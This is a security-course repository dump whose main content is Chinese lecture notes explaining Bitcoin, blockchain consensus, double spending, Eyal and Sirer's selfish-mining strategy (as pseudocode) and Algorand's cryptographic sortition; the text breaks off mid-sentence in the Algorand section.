├── .gitignore ├── _config.yml ├── advance ├── algorand │ ├── reduction.png │ ├── sortition.png │ └── verify.png ├── anonymous.md ├── bitcoin-sok.md ├── blockchain.md ├── infrastructure.md ├── self-mining │ ├── a-r.png │ ├── revenue-fomula.png │ ├── self-mining.png │ └── state-machine.png └── supplyments │ ├── anonymous.pptx │ ├── bitcoin.pptx │ ├── detecting_peering_infrastructure_outages_ucla.pdf │ ├── mapping_peering_interconnections_conext.pdf │ └── topology-measurement.pptx ├── backup ├── Trust-as-Qualified-Reliance-on-Information.pdf └── lab2.md ├── buffer-overflow ├── buffer-overflow-1.md ├── buffer-overflow-2.md ├── buffer-overflow-3.md └── supplements │ ├── How-the-web-works.pdf │ ├── PC-Assembly-Language.pdf │ ├── Smashing-The-Stack-For-Fun-And-Profit.pdf │ ├── baggy-bound-checking-USENIX2009.pdf │ ├── blind-return-oriented-programming-slides.pdf │ ├── blind-return-oriented-programming.pdf │ ├── gcc-x86-Assembly.pdf │ ├── gdb-refcard.pdf │ └── memorylayout.pdf ├── crypto ├── crush-course.pdf └── tls.md ├── internet-security ├── RPKI技术分析-1209.pdf ├── arch-discuss.pptx ├── arch-sec.pptx ├── bgp-sec-1.pptx ├── bgp-sec-2.pptx ├── bgp-sec-3.pptx ├── bgp-sec-4.pptx ├── bgp-sec-5.pptx ├── bgp-sec-6.pptx ├── bgp-sec-7.pptx ├── bgp-sec-8-BCAB.pdf ├── bgp-sec.pptx ├── dns-sec-1.pptx ├── dns-sec-2.pptx ├── dns-sec-3.pptx ├── dns-sec-4.pptx ├── dns-sec-5.pptx ├── dns-sec-6.pptx ├── dns-sec.pptx ├── intro.pptx ├── sidr.md └── 论文研读报告模板.pptx ├── introduction.md ├── network-security ├── ddos.md ├── ddos.pptx ├── ids.md ├── ip-sec.md ├── supplements │ ├── IP-Traceback.pdf │ ├── TCP-IP-Sec.pdf │ ├── anomaly.pdf │ ├── bro-slides.pdf │ └── tcp-hijacking.pdf └── tcp-ip-sec.md ├── readme.md ├── summary.md ├── system-security ├── capabilities-sandbox.md ├── ios-security.md ├── privilege-separation.md └── supplements │ ├── Capsicum.pdf │ ├── Pegasus.pdf │ ├── iOS_Security_Guide.pdf │ └── okws.pdf └── web-security ├── supplements ├── OWASP_Top_10_2013-Chinese-V1.2.pdf ├── busting-frame.pdf └── clickjacking-example │ ├── attacker.html │ ├── autofill.jpg │ ├── clickjacking.html │ ├── cursorjacking.jpg │ └── trusted.html ├── web-sec-1.md └── web-sec-2.md /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | 3 | internet-security/~$arch-discuss.pptx 4 | internet-security/~$arch-sec.pptx 5 | internet-security/~$bgp-sec-1.pptx 6 | internet-security/~$dns-sec-1.pptx 7 | internet-security/~$intro.pptx 8 | -------------------------------------------------------------------------------- /_config.yml: -------------------------------------------------------------------------------- 1 | theme: jekyll-theme-hacker -------------------------------------------------------------------------------- /advance/algorand/reduction.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YuZhang/Security-Courseware/929151c54c6c48190af06a763a3c643e9ad6beb2/advance/algorand/reduction.png -------------------------------------------------------------------------------- /advance/algorand/sortition.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YuZhang/Security-Courseware/929151c54c6c48190af06a763a3c643e9ad6beb2/advance/algorand/sortition.png -------------------------------------------------------------------------------- /advance/algorand/verify.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YuZhang/Security-Courseware/929151c54c6c48190af06a763a3c643e9ad6beb2/advance/algorand/verify.png -------------------------------------------------------------------------------- /advance/blockchain.md: -------------------------------------------------------------------------------- 1 | # 比特币与区块链 2 | 3 | ### 哈尔滨工业大学 网络与信息安全 张宇 2018 4 | 5 | --- 6 | 7 | 课件:[PPT](supplyments/bitcoin.pptx) 8 | 9 | ## 1. 比特币(Bitcoin)与区块链(Blockchain) 10 | 11 | ### 1.1. 介绍 12 | 13 | - [Bitcoin(比特币)](https://en.wikipedia.org/wiki/Bitcoin)是一种加密货币(cryptocurrency),于2008年在密码朋克(Cypherpunks)邮件列表中的一份[以中本聪为笔名的白皮书](https://bitcoin.org/bitcoin.pdf)中被提出,紧接着原始参考客户端的源代码([Bitcoin Core](https://bitcoincore.org))被发布。比特币是第一个实践上解决了双重支付(double-spending)问题的数字货币,而不需要依赖于可信的第三方或中央服务器。比特币的创世块在2009年1月3日被挖出。比特币首次作为现金被使用是通过2010年5月的一笔交易,一名用户以1万比特币作为交换,为另一个人订了一份比萨饼外卖。[2018年1月,比特币市值已经达到2千5百亿美元](https://coinmarketcap.com/currencies/bitcoin/)。 14 | 15 | - [区块链(Blockchain)](https://en.wikipedia.org/wiki/Blockchain),作为比特币核心技术组件之一,现在已经泛指整个比特币所采用技术的集合。狭义上,区块链是一种分布式数据结构,指一个不断增长、顺序相连的记录列表,每个记录被称为“区块”,块内包含若干交易(transaction)。区块链的主要功能之一是作为一个分布式的“公开记账簿”(public ledger)来记录各方之间的交易,具有可验证、只追加、防篡改等性质。 16 | 17 | 比特币的其他核心技术组件还包括交易与脚本、基于[工作量证明(PoW)](https://en.wikipedia.org/wiki/Proof-of-work_system#Bitcoin-type_proof-of-work)的共识(consensus)机制、P2P网络等。 18 | 19 | ### 1.2. 理解比特币 20 | 21 | - 普林斯顿大学课程[《Bitcoin and Cryptocurrency Technologies》](http://bitcoinbook.cs.princeton.edu) 22 | 23 | 下面给出一个对比特币/区块链技术的理解。 24 | 25 | #### 1.2.0 货币与数字货币 26 | 27 | - 百度百科:货币本质上是一种所有者与市场关于交换权的契约,根本上是所有者相互之间的约定。吾以吾之所有予市场,换吾之所需,货币就是这一过程的约定,它反映的是个体与社会的经济协作关系。 28 | - 数字货币与纸币一样,本质上都属于纯信用货币。数字货币的具体形态可以是以一个来源于实体账户的数字,也可以是记于名下的一串由特定密码学与共识算法验证的数字。 29 | 30 | 比特币可以看作是一种“记账货币”(money of accounts):在一个账户上的一个数字(余额),包含信用账目及其清算所构成的体系。与通常的纸币类似,具有以下性质。 31 | 32 | - 不可窃取货币:余额不能凭空减少。 33 | - 不可伪造货币:余额不能凭空增加。 34 | 35 | 与一般安全问题相似,数字货币满足安全需求依赖于两点:信任假设与安全机制。 36 | 37 | #### 1.2.1 交易、账簿、公钥与数字签名 38 | 39 | 假设在一次Alice与Bob的交易中,Alice向Bob转帐10元钱,用于购买Bob做的一张披萨饼(或其他任何商品,甚至什么也不买)。在数字世界中,并没有实物的钞票或硬币,这次交易只是一个信息,称做一条交易记录: 40 | 41 | ``` 42 | From: Alice To: Bob Amount: 10 43 | ``` 44 | 45 | 这里我们并不关心披萨饼。从信息安全角度,该交易以及账簿需要满足以下安全属性: 46 | 47 | - 真实性:不能伪装成其他人,否则会被发现。 48 | - 完整性:交易发生后,不能更改交易内容,否则会被发现。 49 | - 不可否认性:交易发生后,双方不能否认该交易。 50 | 51 | 如果Alice或Bob只有一个人做记录,则这个做记录的人可以随意打破上述安全属性。所以,两个人应该分别在各自的账簿中做记录。假想这样一种情况,全世界只有Alice和Bob两个人,那么以上安全属性是否天然地满足了,或者这些安全属性已经毫无意义? 52 | 53 | - 真实性:若Bob伪装成Alice伪造上述交易,则Alice通过查看自己的账簿可以发现。满足! 54 | - 完整性:某一个人篡改账簿,则另一个人会发现。满足! 55 | - 不可否认性:若Alice否认交易,则Bob也无计可施。反之一样。或者说此时,二者之间的不可否认性没有意义! 56 | 57 | 为了满足不可否认性,Alice和Bob一致同意引入一个双方都信任的公证人Charlie。Charlie做公正的方法是对每笔交易做记录,当Alice和Bob发生争议时,以Charlie自己的账簿为准。不可否认性也得到了满足!同时,Charlie也可以检查真实性与完整性。 58 | 59 | Alice真的有10元钱吗?把这个问题先放一边,考虑这次交易如果成功,则Bob的账户多了10元钱,此后Bob可支出10元钱。如果能证明Alice在之前的交易中获得了超过10元钱,并且到此次交易之前账户余额仍超过10元钱,则意味着Alice也能够支付10元钱。Bob在交易前可以向Charlie询问关于Alice的账户是否多余10元钱。 60 | 61 | 与参与交易的当事人不同,Charlie并不是直接地获得原始交易记录,而是间接地通过交易方获得。Charlie也需要向其他人提供交易记录。因此,在交易记录传播过程中也需要满足上述安全属性。 62 | 63 | 此时,公钥密码学中的数字签名有了用武之地。Alice公布其公钥,并用对应私钥对交易记录签名。Charlie在内的所有人可以用Alice的公钥验证记录。如何安全地获得Alice的公钥,此处不做讨论。考虑到Bob是获利方,并简化问题,不需要Bob的数字签名。那么,交易记录内容如下: 64 | 65 | ``` 66 | From: Alice To: Bob Amount: 10 67 | Sig: a signature signed by Alice 68 | ``` 69 | 70 | 付款方的数字签名提供了 真实性+完整性+不可否认性:只有Alice才能产生有效签名。只要有Alice的公钥,上述安全属性可以公开验证。 71 | 72 | 为此,Charlie需要维护一个`From`字段中账号ID与用来验证`Sig`字段的公钥的映射表。其实,Charlie关心的并不是一个账号的ID,而是ID与公钥的映射关系,那么就可以把公钥(或其密码学哈希值,称为比特币地址)直接作为账号。这样,`From`字段就可以填上Alice(具体叫什么名字已经没有实际意义)的公钥。 73 | 74 | 紧接着此次交易之后,Bob打算向其他人转账5元钱,并提交一个新交易记录给Charlie。此时,Charlie需要确认上次交易里收款方`To`字段里的Bob和此次交易`From`里付款方公钥的映射关系。显然,这个映射也可以通过将`To`字段填充上收款方的公钥来省略。以公钥为账户就避免了这种额外的映射。这样之前交易记录的内容如下: 75 | 76 | ``` 77 | From: Alice's pub key To: Bob's pub key Amount: 10 78 | Sig: a signature siged by Alice 79 | ``` 80 | 81 | 至此我们设计了一种记账货币: 82 | 83 | - 信任假设:负责记账的Charlie是可信的。 84 | - 安全机制:带有数字签名的交易记录在账簿上。 85 | 86 | 该货币满足基本需求: 87 | 88 | - 不可窃取货币:余额不能凭空减少。 89 | - 不可伪造货币:余额不能凭空增加。 90 | 91 | #### 1.2.2 比特币交易与区块链 92 | 93 | Charlie记账时需要对交易排序,比特币采用一种逻辑时间戳方式的纪录方式: 94 | 95 | - 每个交易包含一个排序:输入队列和输出队列;转账记录被包含在交易输出中。 96 | - 交易输入包含指向之前交易输出的索引,其中本次交易输出的付款人是之前交易输出收款人。 97 | - 每个交易中输入之和大于等于输出之和。尚未支出的输出,即未被后面的交易作为输入的输入,称为UTXO(Unspent Transaction Output)。 98 | - 签名:整个交易由付款人签名,放在输入中。 99 | - 近似固定时间间隔内的所有交易打包记录,称为“区块”(Block)。 100 | - 每一区块中包含前一区块内容的哈希值,以此区块顺序相连构成账簿,称为“区块链”。 101 | 102 | 区块链记录了每一笔交易,由此可以计算出账户的UTXO。 103 | 104 | 交易示意图: 105 | 106 | ``` 107 | +-Transaction 1------------------+ +-Transaction 2------------------+ 108 | | Inputs: | | Inputs: | 109 | +--+--Index (hash) | +--+--Index (hash) | 110 | | | Sig: signature signed by Alice | | | Sig: signature signed by Bob | 111 | | | | | | | 112 | | | Outputs: | | | Outputs: | 113 | ---+ | To: Bob's pub key Amount: 10 <---+ | To: Dave's pub key Amount: 10| 114 | +------------------+-------------+ +--------------------------------+ 115 | ``` 116 | 117 | 区块链示意图: 118 | 119 | ``` 120 | +--Block1--+ +--Block2--+ +--Block3--+ 121 | | Nonce | | Nonce | | Nonce | 122 | --+ -hash |<-----+ -hash | <-----+ -hash | 123 | | Trans1 | | Trans3 | | Trans5 | 124 | | Trans2 | | Trans4 | | Trans6 | 125 | | ... | | ... | | ... | 126 | +----------+ +----------+ +----------+ 127 | ``` 128 | 129 | 130 | #### 1.2.3 双重支付与分布式一致性 131 | 132 | - 双重支付:假设Alice从一笔交易A中收入10元,在一笔新交易B中以该交易A向Bob支付10元钱的同时,在另一笔交易D中也以交易A向Dave支付10元钱。 133 | - 为防范“双重支付”,采用“先记账,后交易”的方法: 134 | - Charlie保证此前交易T收入尚未被支付,将交易B或D中的一个写入账簿中,T被支付。 135 | - Bob或Dave查看Charlie的账簿,若该交易B/D被记录,则执行该交易。 136 | - Alice若实施双重支付,则要在账簿中写入两笔交易,而其中较晚的交易由于T已经被支付而无效。 137 | 138 | 只要Charlie是可信的,则“双重支付”问题可以避免。 139 | 140 | 打破假设:Charlie作恶,例如故意不记录某些交易,或维护多个不同的账簿,或者账簿被烧毁了,则之前的安全属性无法满足。那么我们应该相信谁,或者说谁来记录并维护这个账簿,谁有记账权? 141 | 142 | 比特币的思想是不相信某个特定的人,而是相信“大多数人是好的”,信任多数人的意见。Bob调整了确认Alice支付交易已经被记入账簿的条件,询问足够多的人(例如超过全体记账人的一半),如果这些人都确认记录了该笔交易,则Bob才认为交易有效。只要大多数人如实地记账,Alice若双重支付,则会被大多数人记录并发现。 143 | 144 | 比特币系统中有多人负责记账,称为“分布式账簿”。进一步的,系统是开放的,记账人并没有事先约定,可以随时加入和退出。这种复杂性带来了两方面安全问题: 145 | 146 | - 一致性问题:无法获知系统全局状态,例如有多少记账人。一个交易记录在发送给记账人的过程中可能被阻断、丢失或者延迟,或者攻击者对不同的记账人发送不同的交易记录,导致不同的账簿不一致。 147 | 148 | 分布式账簿不一致,称为区块链“分叉”,存在“双重支付”风险:分叉之前Alice有一笔10元收入交易,此后在一个Bob所查看的账簿上记录付给Bob,在另一个Dave所查看账簿上记录付给Dave;Bob和Dave单独看各自账都会承认交易有效。 149 | 150 | 不幸的是,当前理论研究已经证明实现上述问题是无法解决的。 151 | 152 | - CAP定理指出,一致性(C,所有复本都一样)、可用性(A,对状态查询做出应答)和分割容忍(P,网络被分割成多个互不连通的部分)三者只能同时满足两点,即当网络分割不可避免时,一致性和可用性不能同时满足。 153 | - FLP不可能性指出,安全性(safety,所有节点输出相同的值)、活性(liveness,非故障节点最终会输出一个值)和容错(fault tolerance,在停机故障或拜占庭故障条件下仍达成前两个目标)不可能在异步(asynchronous,消息传递时延无上界)系统中同时满足。 154 | 155 | 另一个问题是女巫(Sybil)攻击:一个攻击者伪装成多个记账人,我们看到的“大多数人”实际上可能只是少数攻击者伪装的。 156 | 157 | 因此,比特币放松了对分布式一致性的要求,而追求以下目标: 158 | 159 | - 不一致的冲突会以可预测的方式化解。 160 | - 账簿会暂时不一致,但在概率上最终会收敛,即达成一致。 161 | - 抵御女巫攻击。 162 | 163 | 注意,此时的好节点不单单是如实记账,还意味着遵守协议并正常运行。 164 | 165 | #### 1.2.4 工作量证明(PoW) 166 | 167 | 先来解决女巫攻击。当根据大多数人的意见来确认一笔交易时,类似于针对该交易的一次全体投票。女巫攻击就是伪造多个身份,从而投出多张选票。防范女巫攻击,需要提高投票成本,但不提高验票的代价。注意,防范女巫攻击不是识别或禁止“坏人的票”,而是防止一人多投。 168 | 169 | - 对策是工作量证明(PoW),或者说是“一CPU一票”。记账需要解决一个计算难题,难题被解决意味着付出了(概率上的)足够的工作量,才能添加区块。 170 | - 寻找(猜测)一个数值Nonce(只出现一次的随机数),使得一个新区块的哈希值小于一个预先指定的数值(哈希值满足开头连续k位为0,通过k值来调整难度)。 171 | - 一个节点选择一个新区块的过程: 172 | - 第一个包含了一个计算难题的解的有效区块被认为是正确的。一旦收到它,其它参与者将开始寻找下一区块。 173 | - 如果一个声明的区块包含了无效交易,或者格式错误,那么所有其它参与者将拒绝它,并继续工作直到它们发现一个有效区块的解。 174 | 175 | - 难题具有随机性:用非随机的难题(真正的工作量证明),最强大的记账人可能会首先找到每一个区块。通过随机难题,每个记账人找到下一个区块的概率与其竞争算力所占份额成比例。 176 | 177 | #### 1.2.5 交易费用、采矿、记账与激励 178 | 179 | 货币是如何产生的?答案就是比特币是系统“原生的”,通过采矿(凭算力)获得。 180 | 181 | 基于工作量证明的记账需要代价(设备投资、电力和时间),由此引发两个问题: 182 | 183 | - 记账人为什么愿意付出算力? 184 | - 解决方案是记账人在成功解决难题并记账后会获得一定比特币奖励。最初,每个区块创建50比特币。目前已经减半到25比特币,并且计划约每四年减半,直到约2140年,那时不再创造新比特币。因此,记账活动也称为采矿,记账人也称为矿工。 185 | - 为了让货币创造能够逐渐关闭,矿工不仅从区块奖励中获利,它们也可以获得区块中包含的交易获得交易费。每笔交易中包含一部分未指定收款方的费用(具体地,交易中还需指定之前交易作为输入,当前交易作为输出,两者之间净值差异为交易费)。 186 | - 攻击者产生过多小型交易(称为一分钱泛滥)来过度使用记账服务,从而浪费算力。 187 | - 矿工会设置一个最小交易费,低于该费用的交易不会被加入到区块中。 188 | 189 | 190 | #### 1.2.6 P2P网络 191 | 192 | 记账安全依赖于信息公开! 193 | 194 | - 交易双方希望交易信息被所有矿工接收并尽快记账。 195 | - 矿工希望尽快收到所有交易,采矿后尽快将区块发送给其他矿工。 196 | 197 | 这需要节点之间有效的发现彼此并通信。 198 | 199 | - 任何节点都可以通过连接到一些随机的其他节点来加入网络。 默认情况下,每个节点尝试建立8个外出连接,并准备接收最多125个进入连接。 200 | - 加入网络的节点最初需要一个找到其它节点的方法。像许多其它P2P网络一样,比特币通过使用专用目录服务器或“种子节点”来实现这一目标,其身份被硬编码到参考客户端中; 此后,每个节点维护它所知道的对等地址列表。 201 | 202 | 节点间还通过其它两种机制传播彼此信息: 203 | 204 | - 首先,当一个节点建立一个新的外出连接时,它会触发一系列包含其连接信息的中继消息; 205 | - 其次,在收到进入连接时,节点向其对等方询问一部分已知地址列表。 206 | 207 | 这种机制构建了一个连接良好的随机网络,具有低节点度和低直径,适合通过扩散快速广播信息。 208 | 209 | 新区块和待处理交易通过洪泛广播到整个网络。 210 | 211 | - 无论何时第一次听到它们,节点都会将包含新区块或待处理交易的哈希值的INV消息发送给所有节点。 212 | - 如果对等体尚未见过它们,则可以通过请求这些块或交易的全部内容来做出响应(通过GETDATA消息)。 213 | - 默认情况下,节点只会转发一次新数据,以防止无限传播; 214 | - 只传递交易和有效区块; 215 | - 在临时分叉中发现两个区块时只传递第一个听到的区块; 216 | - 不会广播与已发送的待处理交易相冲突(双重支付)的待处理交易。 217 | 218 | #### 1.2.7 回到一致性:分布式共识 219 | 220 | PoW、激励和P2P网络还不能解决一致性问题,因为还是无法得知参与者的总数和他们的身份:不知道要联系多少人来获得足够多的同意;不知道要联系谁来获得他们的同意,甚至不知道在与谁通话。 221 | 222 | 一个基本认识是询问的人越多,则获得真实信息的可能性也越大;而人头数体现为工作量,所以工作量越大的信息越可信;工作量又体现为账簿上区块的数量,即区块链长度。比特币采用以下共识方案: 223 | 224 | - 每个节点以其所知的最早的、最长的那一条区块链作为账簿。 225 | 226 | 这一方案将“多数人的共识”实现为“最长链”。 227 | 228 | 然而,如果只以“现在的”最长链为“最长链”,双重支付风险仍存在,原因有两点: 229 | 230 | - 同一时刻:无法保证所有节点获知该链,而且可能有多个长度相同链。 231 | - 不同时刻:现在最长的不一定以后也是最长的。 232 | 233 | 为此,希望获得足够的信心来确认交易被永久记录,确认交易所在区块会永久地在最长链上的方法是: 234 | 235 | - 交易记录被加入到最长链,随后一共加入了N个区块仍然是最长链。 236 | 237 | 比特币中区块每10分钟产生一个,N=6,这样在一个交易产生后约60分钟后被确认记录。 238 | 239 | 在P2P网络运转良好条件下,经过足够长的时间,可以相信所有节点都获知了之前的交易。上述的“同一时刻”不同最长链的情况可以排除。 240 | 241 | 攻击者利用“不同时刻”最长链实施攻击。 242 | 243 | 1. 攻击者付款给Bob,并且该交易T被记录在最长“诚实链”中。同时,攻击者也默默地计算不含交易T的“攻击链”。 244 | 2. 当Bob等待在“诚实链”上N个新区块确认交易后,攻击者将“攻击链”公开发布。 245 | 3. 若“攻击链”比“诚实链”长,则交易T被撤销,攻击者可实现双重支付。 246 | 247 | 在比特币白皮书中,分析了攻击者成功的概率P: 248 | 249 | - 攻击者算力占比q>0.5,则P为100%,也被称为“51%攻击” 250 | - 攻击者算力占比q<0.5,“攻击链”在落后N块之后,能够追赶上“诚实链”的概率P随着N指数衰退。 251 | 例如,当q=0.1, N=5时,P=0.0009137;N=10时,P=0.0000012。 252 | 253 | #### 1.2.8 小结 254 | 255 | - 记账货币:账簿上记录每一笔转账交易。 256 | - 账户/签名:账户用公钥标识,每笔交易由付款方用私钥签名。 257 | - 区块链:交易通过输入和输出顺序相连,交易打包成区块,区块通过顺序相连。 258 | - 分布式账簿:多节点维护账簿,存在一致性问题与女巫攻击。 259 | - 工作量证明:先解决计算难题的节点获得“记账权”,与算力成比例。 260 | - 采矿激励:记账的同时获得奖励。 261 | - P2P网络:将交易和区块传播到所有节点。 262 | - 共识机制:将“多数人共识”实现为“最长链”,交易需N个区块确认。 263 | 264 | --- 265 | 266 | ## 2. 自私采矿 267 | 268 | ### 2.1 采矿池(mining pool) 269 | 270 | - 在实践中,矿工们通常在矿池中合作,通过与其它矿工共享回报来降低收入差异。 271 | - 矿池通常由一个管理器负责管理,其只收取一小笔管理费,从所有参与成员找到的有效区块中收集采矿奖励,并按照它们代表矿池进行的工作量比例分配奖励。 272 | - 参与的矿工通过发送以大量零(d'= 40)开头、非有效的近似区块来证明(概率上地)已完成的工作量。 273 | - 由于风险分担,矿池成员回报差异较小,代价是预期收入小幅下降以支付管理费。 274 | - 尽管原始协议未描述矿池,且可能也未预料到,但自2013年以来大部分采矿能力已组织为矿池。许多公式被用于矿池成员之间收入分配,以鼓励忠诚度、尽量减少“跳池”,对新成员友好。 275 | - 通常认为,比特币采矿奖励与算力所占份额成比例。相对于独自采矿,形成矿池并不会提高总体算力所占比例,因此也不会提高奖励。在实践中,矿池规模效应会降低设备采购和运营成本,但这里我们忽略这些。 276 | 277 | - [blocktrail.com上矿池份额统计](https://www.blocktrail.com/BTC/pools?resolution=1y) 278 | - [bitcoinwiki上矿池信息](https://en.bitcoin.it/wiki/Comparison_of_mining_pools) 279 | 280 | ### 2.2 自私采矿(Selfish Mining) 281 | 282 | 论文:[I. Eyal and E. G. Sirer. Majority is not enough: Bitcoin mining is 283 | vulnerable. In Financial Cryptography, 2014.](http://www.ifca.ai/fc14/papers/fc14_submission_82.pdf) 284 | 285 | “自私采矿”(“临时区块隐瞒”):矿池藏匿新发现的区块,有选择地替代当前区块链,导致其他节点算力付诸东流,从而获得高于算力占比的奖励占比。 286 | 287 | 1. 矿工在发现新区块后并不立即发出,而是先将其保密并故意制造分叉。 288 | 2. 如果矿工发现自己超过了已知最长链两个区块,那么它知道手中的区块不会遭到反对。 289 | 3. 直到其余网络节点快追上它而与之相距一个区块时,此时它发布保留的区块来取代。 290 | 291 | 自私采矿算法描述: 292 | 293 | ``` 294 | on Init 295 | public chain <- publicly known blocks 296 | private chain <- publicly known blocks 297 | privateLen <- 0 298 | Mine at the head of the private chain. 299 | 300 | on My pool found a block 301 | lead <- length(private chain) − length(public chain) 302 | append new block to private chain 303 | privateLen <- privateLen + 1 (hide when privateLen = 1) 304 | if lead = 0 and privateLen = 2 then (Was tie with branch of 1) 305 | publish all of the private chain (Pool wins due to the lead of 1) 306 | privateLen <- 0 307 | Mine at the new head of the private chain. 308 | 309 | on Others found a block 310 | lead <- length(private chain) − length(public chain) 311 | append new block to public chain 312 | if lead = 0 then 313 | private chain <- public chain (they win) 314 | privateLen <- 0 315 | else if lead = 1 then (Now same length. Try our luck) 316 | publish last block of the private chain 317 | else if lead = 2 then 318 | publish all of the private chain (Pool wins due to the lead of 1) 319 | privateLen <- 0 320 | else 321 | publish first unpublished block in private block. (lead > 2) 322 | Mine at the head of the private chain. 323 | ``` 324 | 325 | 当自私矿池发现一个新块,但也会将其公开的情况`lead = 0 and privateLen = 2`: 326 | 327 | ``` 328 | (0) B1 --- B2 \\ lead = 0, privateLen = 0 329 | 330 | (1) B1 --- B2 --- Private Block (B3) \\ lead = 0, privateLen = 1 331 | 332 | (2) B1 --- B2 --- B3 \\ lead = 1, privateLen = 1 333 | \-- Public Block (B3') 334 | (4) B1 --- B2 --- B3 --- B4 \\ lead = 0, privateLen = 2 335 | \-- B3' 336 | ``` 337 | 338 | ### 2.3 自私采矿收益分析 339 | 340 | 为什么自私采矿可能获得更高收益?直觉上,若一个新区块被即时发布,则矿工们在新区块基础上竞争,发现下一个区块并获得收益的概率与算力成正比。若一个新区块被藏匿,并且自私矿工在其基础上获得更长的私有区块链,而这时诚实矿工在较短的公开区块链上工作,两者并未在相同链上竞争。由于私有链最终替代了公开链,这导致诚实矿工的工作其实是“无用功”。自私矿工在私有链上缺乏来自其他矿工的竞争,所以收益更高。 341 | 342 | 自私矿池领先长度的状态机: 343 | 344 | - $a$ - 自私矿池算力占比 345 | - $r$ - 算力占比r的诚实矿工先收到自私链上的区块,因此在自私链上采矿。 346 | - $0’$ - 诚实链(公开链)与自私链(私有链)等长,但有一个长度1的分叉。 347 | 348 | 365 | 366 | ![State machine of lead](self-mining/state-machine.png) 367 | 368 | 各种情况下,自私采矿收益分析:略。 369 | 370 | 自私矿池收益占比共识: 371 | 372 | ![Revenue fomula](self-mining/revenue-fomula.png) 373 | 374 | 自私采矿收益高于诚实采矿的条件: 375 | 376 | ![a-r](self-mining/a-r.png) 377 | 378 | 自私矿池收益占比数值模拟结果: 379 | 380 | ![Self-mining revenue figure.](self-mining/self-mining.png) 381 | 382 | 结果总结: 383 | 384 | - 当自私算力占比 a > 1/3 (r=0),则自私采矿收益优于其算力占比; 385 | - 当诚实节点在自私链上采矿算力占比r=1/2,a > 1/4,则自私采矿收益优于其算力占比。 386 | - 通过自私矿池通过更快地泛洪区块来提高r,可将a降低到0。 387 | - 一旦自私采矿收益高于诚实采矿,理性的“逐利”矿工会加入到自私矿池,导致自私矿池规模逐渐扩大并超过51%。 388 | 389 | 为了限制r,从而提高a,作者提出一种缓解自私采矿的方法,对现有比特币采矿机制做出改变。当矿工收到分叉区块时,并不按照收到区块的先后顺序,而是随机挑选一个。这样r ~ 1/2,因此a > 1/4。 390 | 391 | ----- 392 | 393 | ## 3. Algorand 394 | 395 | Algorand: Scaling Byzantine Agreements for Cryptocurrencies in SOSP’17 396 | 397 | 摘要:Algorand 作为一种新的加密货币,能够在支持大量用户时以1分钟延迟来确认交易。Algorand保证用户不会对已经确认交易有不同视图,即便一些用户是恶意的并且网络被临时分割。相反地,目前加密货币允许临时的分叉,所以需要很长时间,1小时,来以较高的信心确认交易。Algorand使用一种新的拜占庭共识(BA)协议来在用户之间对接下来的交易集合达成共识。为了将共识扩展到许多用户,Algorand采用一种新的基于可验证随机函数(Verifiable Random Functions)的机制,允许用户自己来检查他们是否被选择来参与BA协议,对接下来的交易达成共识,并且在网络消息中包含其被选择的证明。在Algorand的BA协议中,除了私钥,用户不保留任何私有状态,这使得Algorand可以在参与者发出一个消息后立刻被替换。这缓解了针对被选择参与者在身份被揭示后的定向攻击。Algorand已被实现,并且通过在1000台EC2虚拟机上模拟了50万用户来评价其性能。实验结果显示,Algorand在一分钟以内确认交易,达到比特币吞吐量的125倍,并且随着用户规模增长几乎没有下降。 398 | 399 | ### 3.1 引言 400 | 401 | #### 比特币等加密货币以及拜占庭共识中存在的问题: 402 | 403 | * 比特币交易确认时间太长,1小时 404 | * 比特币新用户很难实现安全自举,因为区块链可能分叉,并且用户可能被网络隔离 405 | * 拜占庭容错协议需要服务器集合是事先确定且固定的 406 | * 拜占庭共识协议需要2/3服务器是诚实的 407 | 408 | #### 面临的三个挑战: 409 | 410 | * 避免女巫攻击,即攻击者伪造多个身份来参与共识 411 | * 可扩展到百万用户 412 | * 抵抗DDoS攻击 413 | 414 | #### 目标与假设: 415 | 416 | * Safety:若一个诚实的用户接受了交易A,则未来被其他诚实用户接受的交易都出现在包含A的日志中。 417 | * Liveness:在1分钟以内达成关于新交易的共识。 418 | * 假设: 419 | * 诚实用户所拥有的货币大于2/3 420 | * 为实现活性,假设强同步,大多数诚实用户可在有限时间内将消息发给大多数诚实用户 421 | * 为实现安全,假设弱同步,网络可以在长时间不同步,但有界 422 | * 假设所有用户之间有松散的时钟同步,可以在弱同步之后恢复活性 423 | 424 | #### Overview 425 | 426 | * 每个有一个公钥,每个交易都有被某个用户签名,交易组成区块写入区块链 427 | * 用户之间通过gossip协议来通信,传播新的交易 428 | * BA*协议按步骤(step)执行,负责对区块达成共识:final,或tentative 429 | * 在强同步下,tentative之后会达成final 430 | * 在弱同步下,tentative之后,网络变成强同步,达成final 431 | * Gossip协议:与Bitcoin类似,每个用户随机挑选若干其它用户来传递消息,每个消息只转发一次 432 | * 区块提议:所有用户执行密码学抽签(cryptographical sortition)来确定是否被挑选来提议区块;需要根据优先级,并提供对优先级的证明 433 | * 被提议的区块被广播给所有用户,通过BA*来达成共识:在强同步下,需要4步达成共识;在最差情况下需要13步 434 | 435 | 436 | ### 3.2 密码学抽签 437 | 438 | 439 | #### 密码学抽签(Sortition) 440 | 441 | [Verifiable random function (VRF)](https://en.wikipedia.org/wiki/Verifiable_random_function): 一个伪随机函数并提供一个证明,其输出的正确性可公开验证。$y = F_{sk}(x)$,其中 $sk$ 是私钥;证明 $\pi = p_{sk}(x)$ 可以用公钥 $pk$ 来验证。VRF提供了一种确定性的事前承诺,稍后通过私钥产生的证明来揭示。不同于数字签名(输出就是证明),VRF中证明无法伪造,不会遭到原象攻击。 442 | 443 | 抽签方法: 444 | 445 | - 每个用户 $i$ 赋予一个权重 $w_i$,所有用户的总权重 $W$ ,用户 $i$ 被选择的概率与 $w_i/W$ 成正比; 446 | - 每个权重单位对应一个子用户,每个用户对应 $w_i$ 个子用户; 447 | - 抽签就是从 $W$ 个子用户中选出 $\tau$ 个用户;一个用户被选中,如果他的一个子用户被选中; 448 | - 抽签的随机性来自于一个公开的随机种子 $seed$; 449 | - VRF的输入是 $seed$ 和角色 $role$(区块提议,BA*成员等);输出 $hash$ 和证明 $\pi$; 450 | - 每个用户来计算自己的 $w$ 个子用户们被选中的次数 $k$,即计算被选中概率 $p \gets \frac{\tau}{W}$ 下,$w$ 次抽签成功 $k$ 次的概率分布(贝努利分布); 451 | - 每个用户独立运行抽签算法,被抽中子用户个数 $j$ 由 